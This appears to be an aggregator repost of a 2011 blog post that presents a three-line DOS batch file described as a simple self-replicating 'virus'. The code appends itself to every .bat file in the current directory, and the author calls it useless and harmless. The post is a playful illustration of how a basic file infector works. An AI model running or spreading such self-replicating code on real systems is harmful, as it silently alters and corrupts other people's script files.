7

Stupid Simple Computer Virus in 3 Lines of Code | cranklin.com

 3 years ago
source link: https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Stupid Simple Computer Virus in 3 Lines of Code

April 19, 2011

Yes, it’s pretty useless and completely harmless. A DOS batch file virus in 3 simple lines. Useless… but totally meets or surpasses computer virus specifications:


@echo off
find "**cranky**" *.bat
for %%p in (*.bat) do copy %%p + %0

Save it as a .bat file.
Voila!
No really. If you run this on windows/DOS in a directory full of .bat files, this will replicate itself and infect all the other .bat files. Too easy? Use “copy con blah.bat” to create the file so you can feel a bit more accomplished.

Advertisements
Report this ad

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK